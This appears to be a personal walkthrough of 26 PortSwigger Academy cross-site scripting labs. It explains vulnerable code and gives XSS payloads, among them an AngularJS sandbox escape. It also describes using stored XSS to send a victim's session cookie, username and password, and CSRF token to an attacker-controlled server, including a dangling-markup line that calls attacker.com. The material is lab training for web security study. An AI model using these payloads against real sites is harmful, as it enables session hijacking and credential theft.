For the complete documentation index, see llms.txt. This page is also available as Markdown.

Cross-Site Scripting (XSS) (Labs: Portswigger Academy)

Little Refresher

There are three main types of XSS attacks. These are:

  • Reflected XSS, where the malicious script comes from the current HTTP request.

  • Stored XSS, where the malicious script comes from the website's database.

  • DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

Labs from PortSwigger Academy

🟩🟩APPRENTICE LAB🟩🟩

Lab 1: Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the alert function.

vulnerable search request:

https://0a6c00260467044d85d8ea36004700cc.web-security-academy.net/?search=<sushil>
  • passed search string is reflected

  • Viewing page source reveals, special character are not encoded.

xss payload

page source:

Lab 2: Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

vulnerable request:

page source:

name is encoded but comment section is not encoded

xss payload

page source:

Lab 3: DOM XSS in document.write sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

vulnerable request:

The passed value is used in two places.

  • properly encoded here.

next is:

due to the use of following script.

which means, the passed search parameter is used in <img> tag without encoding.

XSS Payload

this makes the final implemented script as:

Lab 4: DOM XSS in innerHTML sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

vulnerable code:

explaination:

Statement
Explanation

var query = (new URLSearchParams(...)).get('search') gets the value of search

From URL ?search=helloquery = "hello"

if(query) checks if search exists

Prevents error if no search

doSearchQuery(query) passes "hello" to function

Function receives "hello"

innerHTML = query puts "hello" inside <span id="searchMessage">

Replaces content

In conclusion, what ever is passed in to search query, it is passed and filled inside span tag.

XSS payload for span tag.

<script>alert(0)</script> will NOT work when injected into a <span> via innerHTML.

Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.

To solve this lab, make the "back" link alert document.cookie.

vulnerable code:

explanation of code:

  • this jQuery is fired once the site is fully loaded.

  • $('#backLink') --> jQuery searches the DOM for an element with id="backLink"

  • (new URLSearchParams(window.location.search)).get('returnPath')--> extracts the value of returnPath from url.

  • $('#backLink').attr("href", {value from above step}) --> <a id="backLink"> element now receives a new href.

So, in conclusion, this code takes the value of returnPath from the URL and sets it as the href (destination) of the <a id="backLink"> link.

before: <a id="backLink" >Back</a>

after: <a id="backLink" href="/">Back</a>

xss payload:

final form of html after xss injection.

Why "</a> <script>alert(0)</script><" wont work.

  • You are not injecting into .innerHTML or .html()

  • You are setting the href attribute

  • So the browser treats your payload as a URL, not HTML

Lab 6: DOM XSS in jQuery selector sink using a hashchange event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.

To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.

vulnerable code:

code explanation:

  • when URL hash changes (e.g. #POST1), automatically scroll to the blog post with matching <h2> title.

  • $(window).on('hashchange', function() { ... }); -->listens for change in URL hash

  • window.location.hash → "#Hello-World"

  • window.location.hash.slice(1) → "Hello-World"

  • decodeURIComponent("Hello%20World") → "Hello World"

  • $('section.blog-list h2:contains("Hello World")')

    • jQuery selectory finds <h2> tags

    • inside <section class="blog-list">

    • Whose text contains "Hello World"

  • var post = $('...'); --> stores the jQuery object of the matching <h2> tag

  • if (post) post.get(0).scrollIntoView(); --> if there exist data in post variable then it scrolls to that part.

In conclusion, it captures the content of # from URL (on change), finds if that content presence in <h2> tag inside blog-list section. after that it scrolls to that section.

XSS payload

how this payload works.

  • Browser detects the hash change from random to <img src=1 onerror=alert(1)> so, on('hashchange') is triggered

  • decodeURIComponent(window.location.hash.slice(1)) captures, slices and URL decodes the value after #

  • Final selector: $('section.blog-list h2:contains(<img src=1 onerror=alert(1)>)')

  • jQuery’s Sizzle engine tries to evaluate the selector. It misinterprets the <img...> as HTML to inject into a temporary DOM context to "search" for matches.

Sizzle's internal process (BUGGY behavior):

  1. Parse the selector: h2:contains(<img src=1 onerror=alert(1)>)

  2. Sees <img...> and thinks: "Oh! This looks like HTML!"

  3. Instead of treating it as a literal string, Sizzle creates a temporary DOM with: <div><img src=1 onerror=print(1)></div>

  4. Tries to "search" for <h2> elements that contain this HTML. and XSS executes during this temporary DOM creation! This is due to vulnerability in jQuery Version.

For the xss payload to trigger there need to be hashchange. For victim this can be achieved using iframe

Lab 7: Reflected XSS into attribute with angle brackets HTML-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.

for search term <sushil>

  • both < and > are url encoded, but the supplied data is reflected inside attribute.

for search term "sushil"

  • " is not encoded.

XSS payload by introducing new attribute.

Lab 8: Stored XSS into anchor href attribute with double quotes HTML-encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

vulnerable point.

passed website url's " is HTML-encoded

xss payload

Lab 9: Reflected XSS into a JavaScript string with angle brackets HTML encoded

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

when search parameter is passed as <"sushil">

from the passed value, < and > are HTML encoded, but ' and " are not encoded.

XSS Payload

this payload will edit the script tag as:

alternative xss payload:

other payload

🟦🟦PRACTITIONER LABS🟦🟦

Lab 10: DOM XSS in document.write sink using source location.search inside a select element

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

Vulnerable Code:

code explanation:

  • var store = (new URLSearchParams(window.location.search)).get('storeId'); --> gets the value of storeId from the URL.

  • document.write('<select name="storeId">'); --> start writing the dropdown HTML

  • if (store) { document.write('<option selected>' + store + '</option>'); } --> if store exist , adds pre-selected option with the value

    • selected → this option appears chosen by default

  • for loop → Add remaining options

      • Loops through all stores

    • Skips the one already added (if store exists)

    • Adds each as an <option>

  • document.write('</select>'); --> closes the dropdown

Final Output Example: Example 1: URL = ?storeId=Paris

OUTPUT

XSS Payload:

In URL:

Lab 11: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.

AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.

To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

keythings

  • use passed < and > are html encoded

  • angular js is used

  • ng-app attribute is added to body element. This means in anywhere within the body HTML element we are able to execute Javascript using {{ }}

for example:

but we cannot use {{alert()}} or {{print()}} because angularJS javascript sandbox doesnot give us access to these type of functions with in double curly braces.

XSS payload:

Watch this to better understand: https://youtu.be/P7_JPsX1ses

Lab 12: Reflected DOM XSS

This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

To solve this lab, create an injection that calls the alert() function.

there is use of searchResults.js viewing the js file reveals the use of eval function

after we do search, there exits additional request which gives json response

combining everything.

from the request /search-results?search=sushil the response value searchTerm is passed onto the eval function of searchResults.js

JSON response is escaping "

The main idea here is to get something like this in eval function;

so we need a way to escape the " "

" is escaped

\ is escaping \ so " is free

XSS Payload

Lab 13: Stored DOM XSS

This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.

XSS Payload:

Actual method:

  • there exist resources/js/loadCommentsWithVulnerableEscapeHtml.js

  • this js file is responsible for HTML encoding <and >

there exist a loophole, it only encodes the 1st instances of the angle brackets

which means, we can use this payload to get xss

Lab 14: Reflected XSS into HTML context with most tags and attributes blocked

This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.

To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.

when trying common xss payloads it gives Tag is not allowed.

lets bruteforce the tags. Get tags from here

two tags <body> and <custom tags> are allowed

lets move on with <body> tag. next step is to find which events are allowed

there a lot of allowed events. since we need to trigger xss without victim's interaction, we need to choose proper event tag. onresize looks easy one.

XSS payload

Lab 15: Reflected XSS into HTML context with all tags blocked except custom ones

This lab blocks all HTML tags except custom ones.

To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.

same as previous lab. only difference is all tags are blocked except custom ones.

XSS Payload

  • location = "..." is a special assignment in JavaScript that immediately redirects the browser to the given URL.

Lab 16: Reflected XSS with some SVG markup allowed

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.

To solve the lab, perform a cross-site scripting attack that calls the alert() function.

Same as previous 2 labs:

allowed tags:

working xss payload;

This lab reflects user input in a canonical link tag and escapes angle brackets.

To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.

To assist with your exploit, you can assume that the simulated user will press the following key combinations:

  • ALT+SHIFT+X

  • CTRL+ALT+X

  • Alt+X

Please note that the intended solution to this lab is only possible in Chrome.

A canonical tag (also known as a rel="canonical" link tag) is an HTML element used in the <head> section of a webpage to specify the preferred (canonical) version of a page when multiple URLs display the same or nearly identical content. Syntax:

Example Scenario

You have the same product page accessible via multiple URLs:

  • https://example.com/shoes/nike-air

  • https://example.com/shoes/nike-air?color=red

  • https://example.com/shoes/nike-air?utm_source=newsletter This tells Google: "Index and rank the clean URL, ignore the others."

XSS Payload

  • space was url encoded so url encoded version of new line %09 is used

The link tag becomes

Lab 18: Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

lets say we search query is <sushil>, it is reflected as

when ';alert(0); is supplied, ' is escaped

XSS Payload

Lab 19: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

Findings

  • Angle brackets --> HTML encoded

  • Double quotes --> HTML encoded

  • Single quotes --> Escaped

for search query <'sushil'> angle brackets are encoded and ' are escaped.

XSS Payload

Lab 20: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

we are interested in onclick portion

trying to make this

due to encoding and escaping, it becomes

trying additional \ to bypass ' escape fails.

lets bypass 'escape using its HTML entity version

' --> HTML Entity --> &apos;

XSS PAYLOAD

lets understand the flow of xss

after injection:

Part
What Happens

'http://test'

→ String

-

Subtraction operator

alert(0)

Runs immediately, shows popup, returns undefined

-

→ Another subtraction

''

→ Empty string → 0 in math

Why this works: The key trick

Trick
Why It Works

-alert(0)-

Uses mathematical subtraction to inject executable code

No need to close quotes

You're already inside a string' is just a character

alert(0) returns undefined

Perfect for math: string - undefined = NaN → no error

No syntax break

The expression is grammatically valid JS

Lab 21: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

search query is passed with unicode escaped.

  • string has been reflected inside a JavaScript template string.

First lets understand ` Template Literals in JavaScript

Basic Syntax

Type
Example
Result

Regular string

`Hello World`

"Hello World"

With variables

`Hello ${name}`

"Hello John" (if name = "John")

Multi-line

`Line 1<br>Line 2`

"Line 1\nLine 2"

Expression Interpolation

Example
Result

`2 + 2 = ${2 + 2}`

"2 + 2 = 4"

`User: ${user.name}, Age: ${user.age}`

"User: John, Age: 30"

`Price: ${price * quantity}`

"Price: $150"

`${alert('XSS!')}`

Runs alert() and returns "undefined"

XSS Payload

Lab 22: Exploiting cross-site scripting to steal cookies

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.

Finding out the XSS vuln:

user supplied data are passed as above. comment section look vulnerable.

XSS Payload.

now editing the xss payload to capture cookie.

In Collaborator, we will receive session cookie like this:

use that cookie and we are logged in.

Lab 23: Exploiting cross-site scripting to capture passwords

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.

same as before, xss vulnerable field = comment

checking xss;

editing payload to capture password. previous cookie stealing method wont work here.

Explanation:

  • we are setting up username and password fields.

  • onchange --> js runs when the password field loses focus(after typing)

  • if(this.value.lenght --> checks if the password value is empty or not. if not then moves to next step.

  • fetch --> sends post request to out controlled server

  • no-cors --> is making this request send to attacker site and not care or not take the response of that request

  • body:username.value+':'+this.value --> Sends: username:password

after commenting, we get this:

username and password fields.

and we should get username:password in collaborator request:

Lab 24: Exploiting XSS to bypass CSRF defenses

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: wiener:peter

  • Same as before, Comment is vulnerable to XSS. Session is set as HttpOnly true so we cannot steal the cookie.

Checkout my notes on CSRF if you are new.

request for changing email:

Now we need to think of a way to get the csrf token.

csrf token is present in /my-account endpoint

lets craft a simple xss payload that fetches /my-account and extracts the csrf token and sends to our controlled site (burp collaborator)

got the csrf. Now using burpsuite > Engagement Tool > generate csrf poc

paste this into comment.

Lab 25: Reflected XSS with AngularJS sandbox escape without strings

This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.

To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.

Passed search query <"sushil"> is interpreted as above.

Easy explanation of the code:

  • It creates a box ($scope.query) to hold data.

  • It puts a dangerous string (<"sushil">) into that box under the name search.

  • Then it reads that value back using $parse. What is $parse?

  • $parse is like a magic reader.

  • It can read values from objects or even run code if the input is tricky.

  • Normally safe... but can be abused.

→ This says: "Run whatever key is as an expression!"

If key is...

Then $parse(key)(...) does...

'search'

Gets the value of query.search

'user.name'

Gets query.user.name

'search + $eval("alert(1)")'

Runs alert(1)!

Working payload from here.

explanation of code: PART 1:

  • toString().constructor.prototype.charAt = [].join;

    • .charAt A method that gets a character from a string

    • =[].join join = turns array into string (like [a,b] → "a,b")

    • This piece of code replaces charAt with join, now when something calls .charAt(), it actually runs .join()

In angular js sandbox, input is checked using .charAt , breaking whole input into character. Each character is checked if its malicious or not. Using above function, we are effectively destroying the checking function.

PART 2:

  • [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

    • orderBy can run a function (eg: alert(0))

    • fromCharCode(120,61,97,108,101,114,116,40,49,41) --> the numbers here are decimal representation of x=alert(1), so fromCharCode function if converting decimal to ascii

Final Magic (How It Becomes alert(1))

  • toString().constructor → Function

  • .fromCharCode(...) → builds string: "x=alert(1)"

  • orderBy tries to sort [1,2] → calls .charAt on each

  • But .charAt is now .join → so it joins the array

  • Angular sees x=alert(1) → assigns x = alert(1)

  • x() → runs alert(1) → POPUP

Works Only In:

  • AngularJS < 1.6 (sandbox was removed in 1.6+)

FURTHER TESTING

?search=1&2%2b2=1 --> ?search=1&2+2=1 <-->(%2b = +)( url decoded)

  • $scope.value = $parse(key)($scope.query); --> $parse("search=1&2+2=1")($scope.query)

AngularJS $parse is SUPER SMART:

  • Normal: $parse("search") → gets query.search

  • Magic: $parse("2+2") → calculates 4!

  • Your case: $parse("search=1&2+2=1") → evaluates the whole expression

WHY =1 is used $parse("search=1&2+2=1")($scope)

  • query.search = 1 → ignored (not used)

  • 2+2=1 → tries to assign → fails, but returns 4

  • Final result = 4 → shown on page!

FINAL XSS Payload

Lab 26: Reflected XSS protected by very strict CSP, with dangling markup attack

This lab uses a strict CSP that prevents the browser from loading subresources from external domains.

To solve the lab, perform a form hijacking attack that bypasses the CSP, exfiltrates the simulated victim user's CSRF token, and uses it to authorize changing the email to hacker@evil-user.net.

You must label your vector with the word "Click" in order to induce the simulated user to click it. For example:

<a href="">Click me</a>

You can log in to your own account using the following credentials: wiener:peter

request to change email:

Lets understand Dangling Markup Attack "Dangling" = unfinished / hanging "Markup" = HTML tags like

Real Example (Step-by-Step)

No escaping of " or >

STEP 1: "><script>alert(1)</script> --> Blocked by filter or CSP

STEP 2: "><img src='//attacker.com/log? final html becomes

lets say page continues with secret data:

→ Browser keeps reading until it finds the next '

The request it will send to the attacker site will be like this (in URL encoded form):

Hence we get the sensitive csrf token. lets implement this theory

STEP 1: Finding point XSS Vulnerability https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account?id=wiener

This endpoint my-account?id=wiener shows account information. When we pass additional parameter email, it pre fills the email in update email section.

if we pass this value " ><script>alert(0)</script>

editing form to send data to our server:

Explanation:

  • We are creating new form which sends the data to our controlled server.

  • The data present inside our newly created form is csrf value.

  • So, it sends get request with the csrf value to our server

Now sending this to victim.

We now have csrf token.

Using burp pro we can create CSRF poc in seconds.

Last updated